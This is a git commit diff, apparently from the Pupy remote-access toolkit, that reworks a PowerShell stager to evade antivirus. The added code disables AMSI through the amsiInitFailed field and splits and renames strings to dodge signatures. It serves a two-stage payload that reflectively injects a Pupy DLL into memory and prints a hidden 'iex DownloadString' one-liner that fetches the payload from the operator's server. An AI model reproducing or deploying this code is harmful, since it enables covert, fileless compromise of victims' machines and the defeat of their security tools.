Avoid AV detection with ps1_oneliner (2 stages now)

This commit is contained in:
quentinhardy 2016-10-19 08:54:02 -04:00
parent 732cf7b6b4
commit 1e74076749
2 changed files with 129 additions and 90 deletions

View File

@ -1,21 +1,36 @@
# -*- coding: UTF8 -*-
from rpyc.utils.classic import upload
import base64, re, subprocess
from subprocess import PIPE, Popen
def execute_powershell_script(module, content, function, x64IfPossible=False):
def execute_powershell_script(module, content, function, x64IfPossible=False, script_name=None):
'''
To get function output, Write-Output should be used (stdout output).
If you use Write-Verbose in your code for example, the output will be not captured because the output is not done over stdout (with Write-Verbose)
'''
# content = re.sub("Write-Verbose ","Write-Output ", content, flags=re.I) # could break the output with mimikatz
content = re.sub("Write-Error ","Write-Output ", content, flags=re.I)
content = re.sub("Write-Warning ","Write-Output ", content, flags=re.I)
path="powershell.exe"
arch = 'x64'
if x64IfPossible:
if "64" in module.client.desc['os_arch'] and "32" in module.client.desc['proc_arch']:
path=r"C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe"
path=r"C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe"
elif "32" in module.client.desc['proc_arch']:
arch = 'x86'
fullargs=[path, "-C", "-"]
# create and store the powershell object if it not exists
if not module.client.powershell[arch]['object']:
p = module.client.conn.modules.subprocess.Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, universal_newlines=True, shell=True)
module.client.powershell[arch]['object'] = p
else:
p = module.client.powershell[arch]['object']
if script_name not in module.client.powershell[arch]['scripts_loaded']:
module.client.powershell[arch]['scripts_loaded'].append(script_name)
p.stdin.write("$base64=\"\""+"\n")
n = 20000
line = base64.b64encode(content)
@ -26,7 +41,10 @@ def execute_powershell_script(module, content, function, x64IfPossible=False):
p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n")
p.stdin.write("Invoke-Expression $d\n")
p.stdin.write("$a=Invoke-Expression \"%s\" | Format-Table -HideTableHeaders | Out-String\n" % function)
# else: the powershell script is already loaded, call the function wanted
p.stdin.write("\n$a=Invoke-Expression \"%s\" | Format-Table | Out-String\n" % function)
p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n")
p.stdin.write("Write-Host $b\n")
@ -35,7 +53,6 @@ def execute_powershell_script(module, content, function, x64IfPossible=False):
for i in p.stdout.readline():
output += i
output = base64.b64decode(output)
p.stdin.write("exit\n")
return output
def remove_comments(string):
@ -68,3 +85,14 @@ def obfuscatePowershellScript(code):
if "function Invoke-ReflectivePEInjection" in newCode:
newCode = newCode.replace("$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null", "$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERIS'+'TICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null")
return newCode
def obfs_ps_script(script):
"""
Strip block comments, line comments, empty lines, verbose statements,
and debug statements from a PowerShell source file.
"""
# strip block comments
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)
# strip blank lines, lines starting with #, and verbose/debug statements
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
return strippedCode

View File

@ -2,104 +2,113 @@
# -*- coding: UTF8 -*-
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import os.path
import base64
from pupylib.utils.term import colorize
import textwrap
import random, string
import time
from pupygen import get_edit_pupyx86_dll, get_edit_pupyx64_dll
from pupygen import get_edit_pupyx86_dll
try:
import ConfigParser as configparser
except ImportError:
import configparser
from ssl import wrap_socket
from base64 import b64encode
import re
from modules.lib.windows.powershell_upload import obfuscatePowershellScript, obfs_ps_script
ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..",".."))
def pad(s):
"""
Performs PKCS#7 padding for 128 bit block size.
"""
return str(s) + chr(16 - len(str(s)) % 16) * (16 - len(str(s)) % 16)
#url_random_one = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5))
#url_random_two = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5))
### url_random_one and url_random_two variables are fixed because if you break you ps1_neliner listener, the payload will be not be able to get stages -:(
url_random_one = "eiloShaegae1"
url_random_two = "IMo8oosieVai"
from Crypto.Cipher import AES
def aes_encrypt(data, key):
IV="\x00"*16
cipher = AES.new(key, AES.MODE_CBC, IV)
return cipher.encrypt(pad(data))
def getInvokeReflectivePEInjectionWithDLLEmbedded(payload_conf):
'''
Return source code of InvokeReflectivePEInjection.ps1 script with pupy dll embedded
Ready for executing
'''
SPLIT_SIZE = 100000
x64InitCode, x86InitCode, x64ConcatCode, x86ConcatCode = "", "", "", ""
code = """
$PEBytes = ""
{0}
$PEBytesTotal = [System.Convert]::FromBase64String({1})
Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR
"""#{1}=x86dll
binaryX86=b64encode(get_edit_pupyx86_dll(payload_conf))
binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)]
for i,aPart in enumerate(binaryX86parts):
x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart)
x86ConcatCode += "$PEBytes{0}+".format(i)
print(colorize("[+] ","green")+"X86 pupy dll loaded and {0} variables generated".format(i+1))
script = obfuscatePowershellScript(open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read())
return obfs_ps_script("{0}\n{1}".format(script, code.format(x86InitCode, x86ConcatCode[:-1])))
def create_ps_command(ps_command, force_ps32=False, nothidden=False):
ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
try{{
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
}}catch{{}}
{}
""".format(ps_command)
PS1_DECRYPT="""
[Reflection.Assembly]::LoadWithPartialName("System.Security")
function AES-Decrypt($Encrypted, $Passphrase)
{
$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider
$IV = New-Object Byte[] 16
$AES.Mode="CBC"
$AES.KeySize=128
$AES.Key=[Text.Encoding]::ASCII.GetBytes($Passphrase)
$AES.IV = $IV
$AES.Padding = "None"
$d = $AES.CreateDecryptor()
$ms = new-Object IO.MemoryStream @(,$Encrypted)
$cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read"
$count = $cs.Read($Encrypted, 0, $Encrypted.Length)
$cs.Close()
$ms.Close()
$AES.Clear()
$Encrypted[0..($Encrypted.Length - $Encrypted[-1] - 1)]
}
"""
if force_ps32:
command = """$command = '{}'
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
{{
$exec = $Env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command
IEX $exec
}}
else
{{
$exec = [System.Convert]::FromBase64String($command)
$exec = [Text.Encoding]::Unicode.GetString($exec)
IEX $exec
}}""".format(b64encode(ps_command.encode('UTF-16LE')))
if nothidden is True:
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
else:
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
elif not force_ps32:
if nothidden is True:
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
else:
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
return command
class PupyPayloadHTTPHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path=="/p":
# print self.server.random_reflectivepeinj_name
if self.path=="/%s" % url_random_one:
self.send_response(200)
self.send_header('Content-type','text/html')
self.end_headers()
pe_bootloader=PS1_DECRYPT+"\n"+(textwrap.dedent("""
$p="%s"
$rpi=(((New-Object System.Net.WebClient).DownloadData("http://%s:%s/rpi")))
$path="b64"
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"}
$raw=([Byte[]]((New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path)))
iex([System.Text.Encoding]::UTF8.GetString( (AES-Decrypt $rpi $p)))
Write-Output "DLL received"
$raw=AES-Decrypt $raw $p
Write-Output "Reflective DLL decrypted"
[GC]::Collect()
%s -ForceASLR -PEBytes $raw #-Verbose
"""%(self.server.aes_key, self.server.link_ip, self.server.link_port, self.server.link_ip, self.server.link_port, self.server.random_reflectivepeinj_name)))
self.wfile.write(pe_bootloader)
print colorize("[+] ","green")+" powershell script stage1 served !"
elif self.path=="/rpi":
#serve the powershell script
launcher = """
IEX (New-Object Net.WebClient).DownloadString('http://{server}:{port}/{url_random_two}');""".format(
server=self.server.link_ip,
port=self.server.link_port,
url_random_two=url_random_two
)
launcher = create_ps_command(launcher, force_ps32=True, nothidden=False)
self.wfile.write(launcher)
print colorize("[+] ","green")+"[Stage 1/2] Powershell script served !"
elif self.path=="/%s" % url_random_two:
self.send_response(200)
#self.send_header('Content-type','text/html')
self.send_header('Content-type','application/octet-stream')
self.end_headers()
code=open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read()
code=code.replace("Invoke-ReflectivePEInjection", self.server.random_reflectivepeinj_name) # seems to bypass some av like avast :o)
d=aes_encrypt(code, self.server.aes_key)
self.wfile.write(d)
print colorize("[+] ","green")+" powershell Invoke-ReflectivePEInjection.ps1 script served !"
elif self.path=="/b32":
#serve the pupy 32bits dll to load from memory
self.send_response(200)
self.send_header('Content-type','application/octet-stream')
self.end_headers()
print colorize("[+] ","green")+" generating x86 reflective dll ..."
self.wfile.write(aes_encrypt(get_edit_pupyx86_dll(self.server.payload_conf), self.server.aes_key))
print colorize("[+] ","green")+" pupy x86 reflective dll served !"
elif self.path=="/b64":
#serve the pupy 64bits dll to load from memory
self.send_response(200)
self.send_header('Content-type','application/octet-stream')
self.end_headers()
print colorize("[+] ","green")+" generating amd64 reflective dll ..."
self.wfile.write(aes_encrypt(get_edit_pupyx64_dll(self.server.payload_conf), self.server.aes_key))
print colorize("[+] ","green")+" pupy amd64 reflective dll served !"
self.wfile.write(getInvokeReflectivePEInjectionWithDLLEmbedded(self.server.payload_conf))
print colorize("[+] ","green")+"[Stage 2/2] Powershell Invoke-ReflectivePEInjection script (with dll embedded) served!"
print colorize("[+] ","green")+"You should have a pupy shell in few seconds from this host..."
else:
self.send_response(404)
self.end_headers()
@ -134,7 +143,9 @@ def serve_ps1_payload(conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", ssl=Fa
raise
print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :"
print " --- "
oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/p')\""%(link_ip, port), "green")
oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/%s')\""%(link_ip, port, url_random_one), "green")
# This line could work check when proxy is used (have to be tested)
# oneliner=colorize("powershell.exe -w hidden -noni -nop -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://%s:%s/pa')"%(link_ip, port), "green")
print oneliner
print " --- "